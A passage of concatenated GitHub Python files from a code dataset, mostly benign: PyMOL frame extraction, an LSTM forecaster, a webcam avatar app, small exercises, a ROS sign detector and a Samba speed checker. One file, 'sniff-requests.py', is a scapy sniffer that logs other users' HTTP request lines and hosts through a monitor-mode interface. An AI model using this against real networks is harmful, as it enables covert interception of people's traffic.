sys.stdout.write('\\n')\n # Save the trajectory\n extension = os.path.splitext(args.out)[1]\n if len(chunks) > 1:\n trajfilename = f'{os.path.splitext(args.out)[0]}_{chunkid:04d}{extension}'\n if extension == '.dcd':\n cmd.save_traj(trajfilename, 'out')\n else:\n coords_out = cmd.get_coords('out', state=0)\n nstates = cmd.count_states('out')\n coords_out = coords_out.reshape((nstates, -1))\n numpy.save(trajfilename, coords_out)\n else:\n if extension == '.dcd':\n cmd.save_traj(args.out, 'out')\n else:\n coords_out = cmd.get_coords('out', state=0)\n nstates = cmd.count_states('out')\n coords_out = coords_out.reshape((nstates, -1))\n numpy.save(args.out, coords_out)\n# Save the topology\ntopfilename = f'{os.path.splitext(args.out)[0]}.pdb'\ncmd.save(topfilename, selection=selection, state=1)\n","repo_name":"bougui505/md_extract_frames_pymol","sub_path":"md_extract_frames.py","file_name":"md_extract_frames.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"43914694673","text":"import pandas as pd \nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import *\nfrom tensorflow.keras.losses import MeanSquaredError\nfrom tensorflow.keras.metrics import RootMeanSquaredError\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.layers import Dropout\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import mean_squared_error \n\nclass NeuralNetworkAnalysis:\n def __init__(self) -> None:\n #Load the dataframe, and organize the data\n self.df=pd.read_excel(r\"Data\\Ridership_Data.xlsx\",sheet_name=None)\n self.df_weekly_ridership=self.df[\"Weekly TTC Ridership Data\"]\n self.df_weekly_ridership[\"Month And Year\"]=self.df_weekly_ridership[\"Period\"]+ \" \" +self.df_weekly_ridership[\"Year\"].astype(str)\n\n self.epochs=100\n\n def create_timeline(self):\n #Add Timeline to sucesfully run the Neural Network\n self.time_line=[] ; self.time=0\n for i in range(len(self.df_weekly_ridership[\"Value\"])):\n self.time+=1 ; self.time_line.append(self.time)\n\n def transform_scale_numbers(self):\n #Transform Numbers to allow for better Neural Network Results And Predictions\n #Numbers use the 0-1 scale\n self.scaler=MinMaxScaler((0,1))\n self.df_weekly_ridership[\"Value\"]=self.scaler.fit_transform(self.df_weekly_ridership[[\"Value\"]])\n\n def train_data(self):\n #Define The Training Data\n self.train_data=self.df_weekly_ridership[\"Value\"] \n\n def data_into_array(self):\n #Create datsasets where one dataset looks 10 points in the points, and another with the points \n #in the present. This will allow for better predictions in the neural network analysis. \n self.lookback_points=1 ; self.data=[] ; self.data_x_1=[]\n for i in range(self.lookback_points,len(self.train_data)):\n self.data.append(self.train_data[i-self.lookback_points:i])\n self.data_x_1.append(self.train_data[i])\n \n self.data=np.array(self.data) ; self.data_x_1=np.array(self.data_x_1)\n\n self.data=self.data.reshape(self.data.shape[0],self.data.shape[1],1)\n\n def model(self):\n #Use a LSTM model twice and then move on to a relu and get one linear output\n tf.random.set_seed(42)\n self.model=Sequential()\n self.model.add(LSTM(units=128,input_shape=(self.data.shape[1],1),return_sequences=True))\n self.model.add(Dense(4,\"relu\"))\n self.model.add(Dense(2,\"linear\"))\n self.model.add(Dense(1,\"linear\"))\n\n def model_compile(self):\n self.model.compile(loss=\"mse\",optimizer=Adam(learning_rate=0.001),metrics=['acc'])\n self.model.fit(x=self.data,y=self.data_x_1,epochs=self.epochs,shuffle=True,batch_size=10,verbose=0)\n \n\n def model_predict(self):\n self.model_prediction=self.model.predict(self.df_weekly_ridership[\"Value\"][-201:])\n self.df_weekly_ridership[\"Value\"]=self.df_weekly_ridership[\"Value\"]+self.model_prediction.flatten()\n self.model_prediction=self.model.predict(self.df_weekly_ridership[\"Value\"])\n\n self.model_prediction=pd.DataFrame(data={\"Month And Year\":self.df_weekly_ridership[\"Month And Year\"],\"Prediction\":self.model_prediction.flatten()})\n\n def model_parameters(self):\n self.model_accuracy=[]\n self.model_accuracy.append(self.model.evaluate(self.data,self.data_x_1,verbose=0)[1]*100)\n self.mse=mean_squared_error(self.df_weekly_ridership[\"Value\"],self.model_prediction[\"Prediction\"])\n return self.epochs,self.mse,self.model_accuracy\n\n def model_inverse_transform_scale(self):\n self.df_weekly_ridership[\"Value\"]=self.scaler.inverse_transform(self.df_weekly_ridership[[\"Value\"]])\n self.model_prediction[\"Prediction\"]=self.scaler.inverse_transform(self.model_prediction[[\"Prediction\"]])\n return self.df_weekly_ridership, self.model_prediction\n\n def model_plot(self):\n fig,ax=plt.subplots(1,figsize=(10,4))\n plt.plot(self.df_weekly_ridership[\"Month And Year\"],self.df_weekly_ridership[\"Value\"])\n plt.plot(self.model_prediction[\"Month And Year\"],self.model_prediction[\"Prediction\"])\n plt.setp(ax.get_xticklabels(),rotation=100)\n plt.show()\n\nneuralnetworkanalysis=NeuralNetworkAnalysis()\nneuralnetworkanalysis.create_timeline()\nneuralnetworkanalysis.transform_scale_numbers()\nneuralnetworkanalysis.train_data()\nneuralnetworkanalysis.data_into_array()\nneuralnetworkanalysis.model()\nneuralnetworkanalysis.model_compile()\nneuralnetworkanalysis.model_predict()\nneuralnetworkanalysis.model_parameters()\nneuralnetworkanalysis.model_inverse_transform_scale()\n\n","repo_name":"AliMoeez/Ridership-Analysis","sub_path":"Analysis/Neural_Network_Anaylsis.py","file_name":"Neural_Network_Anaylsis.py","file_ext":"py","file_size_in_byte":4782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23517575991","text":"#!/usr/bin/python3\nfrom datetime import datetime\nfrom datetime import timedelta\nimport sys,os\ndef run():\n bdate = datetime(2019,7,3,0,0,0,0)\n modyear = int(sys.argv[1]) - 1\n adddate = int(modyear/2)\n addhour = 12\n if (modyear % 2) == 0:\n addhour = 0\n adddelta = timedelta(hours=addhour,days=adddate)\n return bdate + adddelta\n\nif __name__ == '__main__':\n print(run())\n","repo_name":"Emojigit/sickmanwp_year_calc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"344546847","text":"import pyaudio\nimport wave\nimport numpy as np\nfrom datetime import datetime\nimport cv2\nfrom pynput.keyboard import Key, Listener\nimport threading\nimport time\n\nchunk = 1024\nFORMAT = pyaudio.paInt16\nCHANNELS = 1\nRATE = 44100\nRECORD_SECONDS = 2\n\nontalk = cv2.imread(\"ontalk.png\")\nofftalk = cv2.imread(\"offtalk.png\")\ncry = cv2.imread(\"cry.png\")\nhert = cv2.imread(\"hert.png\")\noko = cv2.imread(\"oko.png\")\nwao = cv2.imread(\"wao.png\")\nkutibue = cv2.imread(\"kutibue.png\")\nmabataki = cv2.imread(\"mabataki.png\")\nsleepimg = cv2.imread(\"sleep.png\")\n\nthreshold = 0.08\np = pyaudio.PyAudio()\n\nstream = p.open(format = FORMAT,\n channels = CHANNELS,\n rate = RATE,\n input = True,\n frames_per_buffer = chunk\n)\n\nprint(ontalk)\n\nfacenum = 0\n\ndef keylog():\n def on_press(key):\n global facenum\n #print(key.char)\n try:\n if key.char == '1':\n facenum = 1\n print('INFO: 表情「泣く」を表示しています。')\n elif key.char == '2':\n facenum = 2\n print('INFO: 表情「好き」を表示しています。')\n elif key.char == '3':\n facenum = 3\n print('INFO: 表情「怒る」を表示しています。')\n elif key.char == '4':\n facenum = 4\n print('INFO: 表情「驚く」を表示しています。')\n elif key.char == '5':\n facenum = 5\n print('INFO: 表情「口笛」を表示しています。')\n elif key.char == '6':\n facenum = 6\n print('INFO: 表情「睡眠」を表示しています。')\n else:print('DEBUG: {0}キーが押されました。'.format(key.char))\n '''\n elif key.char == '7':facenum = 7\n elif key.char == '8':facenum = 8\n elif key.char == '9':facenum = 9\n '''\n except:\n print('DEBUG: {0}キーが押されました。'.format(key))\n def on_release(key):\n global facenum\n facenum = 0 \n with Listener(\n on_press = on_press,\n on_release= on_release\n ) as listener:\n listener.join()\n print('スレッドが終了しました。')\n\nth = threading.Thread(target=keylog)\nth.setDaemon(True) \nth.start()\n\ncnt = 0\nwaitcnt = 0\n\nwhile True:\n cnt += 1\n data = stream.read(chunk)\n x = np.frombuffer(data, dtype=\"int16\") / 32768.0\n if facenum == 0:\n if x.max() > threshold:\n cv2.imshow('FacetalkLive',ontalk)\n print('INFO: あなたが喋っているのを検知しました。')\n else:\n if cnt >= 350:\n cv2.imshow('FacetalkLive',mabataki)\n cv2.waitKey(250)\n cnt = 0\n waitcnt = 1\n else:\n cv2.imshow('FacetalkLive',offtalk)\n elif facenum == 1:\n cv2.imshow('FacetalkLive',cry)\n elif facenum == 2:\n cv2.imshow('FacetalkLive',hert)\n elif facenum == 3:\n cv2.imshow('FacetalkLive',oko)\n elif facenum == 4:\n cv2.imshow('FacetalkLive',wao)\n elif facenum == 5:\n cv2.imshow('FacetalkLive',kutibue)\n elif facenum == 6:\n cv2.imshow('FacetalkLive',sleepimg)\n if waitcnt == 0:\n k = cv2.waitKey(1)\n else:\n print('INFO: まばたきを行います。')\n waitcnt = 0\n if k == 27:\n break\n\nstream.close()\np.terminate()\ncv2.destroyAllWindows()\nexit()\n","repo_name":"Chipsnet/facetalk-live","sub_path":"facetalkLive.py","file_name":"facetalkLive.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1824786691","text":"#!/usr/bin/python3\r\n\"\"\" Island Perimeter\"\"\"\r\n\r\n\r\ndef island_perimeter(grid):\r\n \"\"\"Calculate perimeter of grid\"\"\"\r\n p = 0\r\n for row in range(len(grid)):\r\n for col in range(len(grid[0])):\r\n if grid[row][col] == 1:\r\n if row == 0 or grid[row - 1][col] == 0:\r\n p += 1\r\n if row == (len(grid) - 1) or grid[row + 1][col] == 0:\r\n p += 1\r\n if col == 0 or grid[row][col - 1] == 0:\r\n p += 1\r\n if col == (len(grid[0]) - 1) or grid[row][col + 1] == 0:\r\n p += 1\r\n return p\r\n","repo_name":"mgmtsweni/alx-low_level_programming","sub_path":"0x1C-makefiles/5-island_perimeter.py","file_name":"5-island_perimeter.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"16429700367","text":"import random\r\n\r\nnumber=random.randint(1,101)\r\nguess = None\r\nwhile guess != number:\r\n guess = int(input('your guess: '))\r\n if guess > number:\r\n print('decrease your number')\r\n elif guess < number:\r\n print('increase your number')\r\n else:\r\n print('you guessed right')\r\n \r\n\r\n \r\n\r\n \r\n","repo_name":"hubbm-bbm101/lab5-exercise-solution-b2200356062","sub_path":"exercise3.py","file_name":"exercise3.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38516478053","text":"import argparse\n\n\ndef define_arguments(script=False):\n if script:\n nargs = \"+\"\n else:\n nargs = None\n\n parser = argparse.ArgumentParser(\n description='Process the data and parameters.')\n# PATH\n parser.add_argument(\n '--data_dir', default=\"../data\", nargs=nargs,\n help='the directory of data')\n# DATA\n parser.add_argument(\n '--vocab_size', type=int, default=500, nargs=nargs,\n help='the vocab size of tokenizer [500]')\n parser.add_argument(\n '--use_embedding', type=int, default=0,\n nargs=nargs, choices=range(0, 2),\n help='use GloVe embeddings or not [0]')\n# MODEL\n parser.add_argument(\n '--n_layers', type=int, default=4,\n nargs=nargs, choices=[1, 2, 4],\n help='the hierarchical layers of decoder [4]')\n parser.add_argument(\n '--n_en_layers', type=int, default=1, nargs=nargs,\n help='the number of RNN layers of encoder [1]')\n parser.add_argument(\n '--n_de_layers', type=int, default=1, nargs=nargs,\n help='the number of RNN layers of decoders [1]')\n parser.add_argument(\n '--en_hidden_size', type=int, default=100, nargs=nargs,\n help='the hidden size of encoder RNNs [100]')\n parser.add_argument(\n '--de_hidden_size', type=int, default=100, nargs=nargs,\n help='the hidden size of decoder RNNs [100]')\n parser.add_argument(\n '--embedding_dim', type=int, default=50, nargs=nargs,\n help='the embedding dimension (when only decoder use embeddings \\\n or encoder and decoder use shared embedding) [50]')\n parser.add_argument(\n '--attn_method', default='concat', nargs=nargs,\n choices=['concat', 'general', 'dot', 'none'],\n help='the method of attention mechanism [concat]')\n parser.add_argument(\n '--bidirectional', type=int, default=1,\n nargs=nargs, choices=range(0, 2),\n help='bidirectional rnn? [1]')\n parser.add_argument(\n '--feed_last', type=int, default=1,\n nargs=nargs, choices=range(0, 2),\n help='concat last step output of the decoder \\\n to the next step input [1]')\n parser.add_argument(\n '--repeat_input', type=int, default=1,\n nargs=nargs, choices=range(0, 2),\n help='repeat input from the last layer of the decoder \\\n when output does not match [1]'\n )\n# TRAINING\n parser.add_argument(\n '--epochs', type=int, default=20, nargs=nargs,\n help='train for N epochs [20]')\n parser.add_argument(\n '--batch_size', type=int, default=32, nargs=nargs,\n help='the size of batch [32]')\n parser.add_argument(\n '--en_optimizer', default=\"Adam\", nargs=nargs,\n choices=['Adam', 'RMSprop', 'SGD'],\n help='the optimizer of encoder (Adam / RMSprop / SGD) [Adam]')\n parser.add_argument(\n '--de_optimizer', default=\"Adam\", nargs=nargs,\n choices=['Adam', 'RMSprop', 'SGD'],\n help='the optimizer of decoder (Adam / RMSProp / SGD) [Adam]')\n parser.add_argument(\n '--en_learning_rate', type=float, default=1e-3, nargs=nargs,\n help='the learning rate of encoder [1e-3]')\n parser.add_argument(\n '--de_learning_rate', type=float, default=1e-3, nargs=nargs,\n help='the learning rate of decoders [1e-3]')\n parser.add_argument(\n '--inner_teacher_forcing_ratio', type=float, default=0.5,\n nargs=nargs,\n help='the ratio of inter teacher forcing [0.5]')\n parser.add_argument(\n '--inter_teacher_forcing_ratio', type=float, default=0.5,\n nargs=nargs,\n help='the ratio of inter teacher forcing [0.5]')\n parser.add_argument(\n '--inner_tf_decay_rate', type=float, default=0.9,\n nargs=nargs,\n help='the ratio of inter teacher forcing decay rate [0.9]')\n parser.add_argument(\n '--inter_tf_decay_rate', type=float, default=0.9,\n nargs=nargs,\n help='the ratio of inter teacher forcing decay rate [0.9]')\n parser.add_argument(\n '--is_curriculum', type=int, default=1,\n nargs=nargs, choices=range(0, 2),\n help='use curriculum learning or not [1]')\n parser.add_argument(\n '--max_norm', type=float, default=0.25, nargs=nargs,\n help='max norm during training [0.25]')\n parser.add_argument(\n '--finetune_embedding', type=int, default=0,\n nargs=nargs, choices=range(0, 2),\n help='finetune pre-trained word embedding \\\n during training or not [0]')\n# VERBOSE, VALIDATION AND SAVE\n parser.add_argument(\n '--verbose_epochs', type=int, default=0, nargs=nargs,\n help='verbose every N epochs (0 for every iters) [0]')\n parser.add_argument(\n '--verbose_batches', type=int, default=100, nargs=nargs,\n help='verbose every N batches [100]')\n parser.add_argument(\n '--valid_epochs', type=int, default=1, nargs=nargs,\n help='run validation batch every N epochs [1]')\n parser.add_argument(\n '--valid_batches', type=int, default=1000, nargs=nargs,\n help='run validation batch every N batches [1000]')\n parser.add_argument(\n '--save_epochs', type=int, default=1, nargs=nargs,\n help='save model every N epochs [1]')\n args = parser.parse_args()\n return(parser, args)\n","repo_name":"yorick76ee/HNLG","sub_path":"NAACL/src/argument.py","file_name":"argument.py","file_ext":"py","file_size_in_byte":5655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20196846472","text":"def maximum_toys(prices, k):\n prices.sort()\n spent = 0\n i = 0\n count = 0\n while i < len(prices):\n if spent + prices[i] <= k:\n count += 1\n spent += prices[i]\n else:\n break\n i += 1\n return count\n\n\nprint(maximum_toys([5, 4, 3, 7, 8, 8, 9], 12))\n","repo_name":"miruts-xz/competitive-programming","sub_path":"weeks/week-2/day-5/mark_and_toys.py","file_name":"mark_and_toys.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27094961256","text":"import sys\r\n\r\nfrom scapy.layers.inet import TCP\r\nfrom scapy.sendrecv import sniff\r\n\r\n\r\ndef packet_handler(pkt):\r\n if pkt.haslayer(TCP) == 1 \\\r\n and pkt.payload.payload.payload is not None \\\r\n and len(pkt.payload.payload.payload) > 0 \\\r\n and pkt.payload.payload.dport in recognized_ports:\r\n body = pkt.payload.payload.payload.load\r\n request_summary = \"{first_line}\".format(first_line=body.splitlines()[0])\r\n to_addr = pkt.payload.dst\r\n if pkt.payload.payload.dport in plaintext_ports:\r\n for x in body.splitlines():\r\n if x.startswith(\"Host: \"):\r\n to_addr = x[6:]\r\n break\r\n else:\r\n request_summary = \"[encrypted]\"\r\n print(\"{from_ip} -> {to_ip}:\\t{payload}\".format(from_ip=pkt.payload.src,\r\n to_ip=to_addr,\r\n payload=request_summary))\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n print(\"remember to put interface in monitor mode before using this script\")\r\n\r\n if len(sys.argv) < 2:\r\n print(\"usage: {0} <interface>\".format(sys.argv[0]))\r\n exit()\r\n device = sys.argv[1]\r\n plaintext_ports = [80, 8080, 8088, 8888]\r\n encrypted_ports = [443, 8443, 8043]\r\n recognized_ports = plaintext_ports + encrypted_ports\r\n\r\n print(\"Listening for http connections...\")\r\n sniff(iface=device, prn=packet_handler)\r\n","repo_name":"marcosox/scapy-toolbox","sub_path":"http/sniff-requests.py","file_name":"sniff-requests.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37957173191","text":"#!/usr/bin/env python3\n\nimport cv2\nimport numpy as np\nfrom cv_bridge import CvBridge\nimport rospy\nfrom sensor_msgs.msg import Image\nfrom sign_classification import ConvNeuralNet\nimport time\n\n\n\nclass ImageExtractor():\n \"\"\" This ImageExtractor class converts a ROS video stream\n to OpenCV format, and then identifies images that can\n be fed into an image classifier. \"\"\"\n\n def __init__(self, image_topic):\n rospy.init_node('sign_finder')\n\n self.cv_image = None # the latest image from the camera\n self.bridge = CvBridge() # used to convert ROS messages to OpenCV\n\n self.x = None\n self.y = None\n self.w = None\n self.h = None\n self.contour_image = None\n self.threshold_image = None\n self.roi_image = None\n self.rectangle_image = None\n self.sign_flag = False\n # self.sign_flag_temp = False\n self.sign_reached = False\n\n rospy.Subscriber(image_topic, Image, self.get_image)\n\n def get_image(self, msg):\n \"\"\" Process image messages from ROS and stash them in an attribute\n called cv_image for subsequent processing \"\"\"\n self.cv_image = self.bridge.imgmsg_to_cv2(msg, desired_encoding=\"bgr8\")\n self.clean_image = self.cv_image\n\n def sign_localizer(self, img):\n \"\"\"Takes in video feed and saves to class attributes a region of\n interest and True/False flag for if a sign was detected\"\"\"\n img = img[0:300, 0:700] #only look at top portion of video feed\n font = cv2.FONT_HERSHEY_COMPLEX\n self.contour_image = np.zeros(img.shape)\n blurred_frame = cv2.GaussianBlur(img, (5, 5), 0)\n gray = cv2.cvtColor(blurred_frame, cv2.COLOR_BGR2GRAY)\n self.threshold_image = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\n cv2.THRESH_BINARY, 73, 5)\n contours, hierarchy = cv2.findContours(self.threshold_image, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n cv2.drawContours(self.contour_image, contours, -1, (0,255,0), 3)\n interest_area = []\n interest_cnt = []\n for c in contours:\n approx = cv2.approxPolyDP(c, 0.01*cv2.arcLength(c, True), True)\n x = approx.ravel()[0]\n y = approx.ravel()[1]\n area = cv2.contourArea(c)\n if 20000 > area > 1000:\n if len(approx) > 4:\n interest_area.append(area)\n interest_cnt.append(c)\n\n self.sign_flag_temp = self.sign_flag\n\n if len(interest_cnt) == 0: #no regions detected\n self.x = None\n self.y = None\n self.w = None\n self.h = None\n self.rectangle_image = None\n self.sign_flag = False\n print(\"No Sign Detected\")\n else:\n max_area_index = np.argmax(interest_area)\n cnt = interest_cnt[max_area_index]\n self.x,self.y,self.w,self.h = cv2.boundingRect(cnt)\n self.rectangle_image = cv2.rectangle(img,(self.x-30,self.y-30),(self.x+self.w+30,self.y+self.h+30),(0,255,0),3)\n self.sign_flag = True\n\n def save_image(self, img):\n \"\"\"Saves ROI to current working directory\"\"\"\n self.roi_image = self.clean_image[self.y-25:self.y+self.h+25, self.x-25:self.x+self.w+25]\n if (self.y < 50):\n self.sign_reached == True\n try:\n cv2.imwrite(\"roi.png\", self.roi_image)\n except:\n pass\n","repo_name":"amfry/sign_recognition","sub_path":"scripts/image_extractor.py","file_name":"image_extractor.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74159674346","text":"from selenium import webdriver\r\nfrom selenium.webdriver.firefox.service import Service\r\nfrom webdriver_manager.firefox import GeckoDriverManager\r\nfrom selenium.webdriver.common.by import By\r\nimport time\r\n\r\ndef openWebpage(url):\r\n driver = webdriver.Firefox(service=Service(GeckoDriverManager().install()))\r\n driver.get(url)\r\n time.sleep(3)\r\n return driver\r\n\r\ndef scrollToEndOfPage(driver):\r\n scrollHeight = 1200\r\n maxHeight = int(driver.find_element(by= By.TAG_NAME,value='ytd-browse').size[\"height\"])\r\n while scrollHeight < maxHeight:\r\n driver.execute_script(f'window.scrollTo(0,{scrollHeight});')\r\n time.sleep(0.05)\r\n if(scrollHeight + 600 >=maxHeight):\r\n time.sleep(1)\r\n if(maxHeight!= int(driver.find_element(by= By.TAG_NAME,value='ytd-browse').size[\"height\"])):\r\n maxHeight = int(driver.find_element(by= By.TAG_NAME,value='ytd-browse').size[\"height\"])\r\n scrollHeight+=600\r\n\r\ndef calculateTotalTime(driver):\r\n hours = 0\r\n mins = 0\r\n secs = 0\r\n for time in driver.find_elements(by= By.CLASS_NAME,value='ytd-thumbnail-overlay-time-status-renderer'):\r\n if(time.text!=\"\"):\r\n splitted_time_string = time.text.split(\":\")\r\n if(len(splitted_time_string)==3):\r\n hours += int(splitted_time_string[0])\r\n mins += int(splitted_time_string[1])\r\n secs += int(splitted_time_string[2])\r\n elif(len(splitted_time_string)==2):\r\n mins += int(splitted_time_string[0])\r\n secs += int(splitted_time_string[1])\r\n mins+= int(secs/60)\r\n secs%=60\r\n hours += int(mins/60)\r\n mins%=60\r\n return hours,mins,secs\r\n\r\n\r\nif __name__ == \"__main__\":\r\n url = input(\"enter playlist's url: \")\r\n driver = openWebpage(url=url)\r\n scrollToEndOfPage(driver=driver)\r\n hours,mins,secs = calculateTotalTime(driver=driver)\r\n print(f'total time is: {hours:02d}:{mins:02d}:{secs:02d}')\r\n driver.close()\r\n input(\"Press any key to close\")\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"mahmoudkhalifah/youtube-playlist-time-calculator","sub_path":"youtube playlist time calculator.py","file_name":"youtube playlist time calculator.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72659556267","text":"def Gold():\r\n\r\n g, s, c = map(int, input().split())\r\n\r\n bpg = g*3\r\n bps = s*2\r\n bpc = c\r\n bptot = bpg + bps + bpc\r\n\r\n if bptot >= 8:\r\n print(\"Province or Gold\")\r\n elif bptot >=6:\r\n print(\"Duchy or Gold\")\r\n elif bptot >=5:\r\n print(\"Duchy or Silver\")\r\n elif bptot >= 3:\r\n print(\"Estate or Silver\")\r\n elif bptot >= 2:\r\n print(\"Estate or Copper\")\r\n else:\r\n print(\"Copper\")\r\n\r\nGold()","repo_name":"Kallzor/PythonPrograms-","sub_path":"ProvincesAndGold.py","file_name":"ProvincesAndGold.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30431793343","text":"import time\nimport itertools\nimport argparse\n\nfrom sklearn.linear_model import LogisticRegression\n\nfrom models.sentence_encoders import NGramEncoder, PositionalNGramEncoder\nfrom models.SimplePQModel import SimplePQModel\n\nimport settings\nfrom utils.pq_preprocessing import preprocess_pull_quotes\nfrom utils.data_utils import get_article_partition\nfrom utils.Evaluator import Evaluator\n\n\nparser = argparse.ArgumentParser(description='Specify experiment mode')\nparser.add_argument('--quick', action=\"store_true\", default=False)\nparsing = parser.parse_args()\nquick_mode = parsing.quick\nif quick_mode:\n\tprint(\"QUICK MODE\")\n\n\narticles_data = preprocess_pull_quotes(directories=settings.PQ_SAMPLES_DIRS)\nif quick_mode: articles_data = articles_data[:1000]\n\ntrain_articles, val_articles, test_articles = get_article_partition(articles_data, train_frac=0.7, val_frac=0.1, test_frac=0.2, seed=1337, verbose=1)\n\nE = Evaluator()\n\n\ntimestamp = time.strftime(\"%F-%H:%M:%S\")\nresults_file = open(\"results/ngrams_{}.txt\".format(timestamp), \"w\")\n\nfeature_rankings = dict()\n\n\n\n\nfor mode, n, vocab_size in itertools.product([\"char\", \"word\"], [1, 2, 3], [1000]):\n\tsent_encoder = NGramEncoder(mode=mode, n=n, store_results=False, vocab_size=vocab_size)\n\tprint(\"preparing encoder...\")\n\tsent_encoder.fit(train_articles)\n\tprint(\"done\")\n\tmodel = SimplePQModel(sent_encoder=sent_encoder, clf_type=LogisticRegression, clf_args={'class_weight':'balanced', 'max_iter':1000})\n\tmodel.fit(train_articles)\n\taccuracy = E.evaluate(model=model, articles=test_articles, verbose=0)\n\tres_str = \"{}\\t{}\\t{}\\t{}\\t{:.1f}\".format(sent_encoder.name, mode, n, vocab_size, 100*accuracy)\n\tprint(res_str)\n\n\tresults_file.write(res_str+\"\\n\")\n\tresults_file.flush()\n\n\n\t# obtain the feature importances and save for printing later\n\tgram_items = list(model.sent_encoder._gram_indices.items())\n\tgram_items = sorted(gram_items, key=lambda k: k[1])\n\tgrams = [v[0] for v in gram_items]\n\n\tfeature_importances = list(zip(grams, model.model.coef_[0]))\n\tfeature_importances = sorted(feature_importances, key=lambda k: k[1])\n\n\tprint(feature_importances[:20])\n\tprint(feature_importances[-20:])\n\n\tfeature_rankings[\"{}-{}-{}\".format(mode, n, vocab_size)] = feature_importances\n\n\n\nresults_file.write(\"\\n\\n\")\n\n# print highest and lowest weighted features\nfor key in feature_rankings:\n\tprint(key)\n\tresults_file.write(key+\"\\n\")\n\n\tfor gram, weight in feature_rankings[key][-20:][::-1]:\n\t\tprint(\"{:.3f}\\t{}\".format(weight, gram))\n\t\tresults_file.write(\"{:.3f}\\t{}\\n\".format(weight, gram))\n\tfor gram, weight in feature_rankings[key][:20][::-1]:\n\t\tprint(\"{:.3f}\\t{}\".format(weight, gram))\n\t\tresults_file.write(\"{:.3f}\\t{}\\n\".format(weight, gram))\n\tprint()\n\tresults_file.write(\"\\n\")\n\t\n\n\nresults_file.close()","repo_name":"tannerbohn/AutomaticPullQuoteSelection","sub_path":"experiments_ngrams.py","file_name":"experiments_ngrams.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"72483610667","text":"# -*- coding:utf-8 -*-\n\nimport urllib.request\nimport urllib.error\nfrom .models import SambaServerList\nimport json\nimport threading\nimport time\nimport socket\n\n\ndef get_samba_netspeed(samba_ip, samba_url):\n # print('%s 进入获取Samba网速的函数' % samba_ip)\n samba_speed = dict()\n try:\n # url = 'http://192.168.66.99:8898/netspeed' # 测试用,实际需要删除\n # req = urllib.request.urlopen(url)\n with urllib.request.urlopen(samba_url, timeout=5) as req:\n if req.getcode() == 200:\n date = req.read().decode('utf-8')\n json_date = json.loads(date)\n net_out = json_date['net_io']['net_out']\n net_in = json_date['net_io']['net_in']\n samba_speed[samba_ip] = net_out\n # print('--------------,', samba_speed)\n return samba_speed\n else:\n print('无法连接')\n return None\n except (socket.timeout, urllib.error.URLError):\n return None\n\n\n# python从子线程中获得返回值\nclass ShowSambaNetspeed(threading.Thread):\n def __init__(self, samba_ip, samba_url):\n threading.Thread.__init__(self)\n self.samba_ip = samba_ip\n self.samba_url = samba_url\n\n def run(self):\n # print('\\n正在处理IP: ', self.samba_ip)\n self.netspeed = get_samba_netspeed(self.samba_ip, self.samba_url)\n\n def get_result(self):\n return self.netspeed\n\n\ndef get_use_samba():\n '''\n 获取出口流量最小的一个Samba服务器\n :return:\n '''\n samba_speed = dict()\n samba_server_list = SambaServerList.objects.filter(available=True)\n if samba_server_list.count() == 0:\n return False\n else:\n start_time = time.clock()\n task_threads = [] # 存储线程\n print('\\n----------多线程获取网速最小值开始')\n samba_speed_all = {}\n for samba_server in samba_server_list:\n if samba_server.netspeed_port is None:\n if samba_server.netspeed_path is None:\n url = 'http://' + samba_server.samba_ip # http://192.168.96.96\n else:\n url = 'http://' + samba_server.samba_ip + samba_server.netspeed_path # http://192.168.96.96/netspeedout\n else:\n if samba_server.netspeed_path is None:\n url = 'http://' + samba_server.samba_ip + ':' + samba_server.netspeed_port # http://192.168.96.96:8898\n else:\n url = 'http://' + samba_server.samba_ip + ':' + samba_server.netspeed_port + samba_server.netspeed_path # http://192.168.96.96:8898/netspeedout\n\n td = ShowSambaNetspeed(samba_server.samba_ip, url)\n task_threads.append(td)\n # print(task_threads)\n for task in task_threads:\n task.start()\n for task in task_threads:\n task.join() # 等待所有线程结束\n for task in task_threads:\n samba_speed = task.get_result()\n # print('正在处理', samba_speed)\n if samba_speed is not None:\n samba_speed_all = dict(samba_speed_all, **samba_speed)\n end_time = time.clock()\n print('\\n----------多线程获取网速最小值结束,耗时%fs\\n' % (end_time - start_time))\n\n print('Smaba列表:', 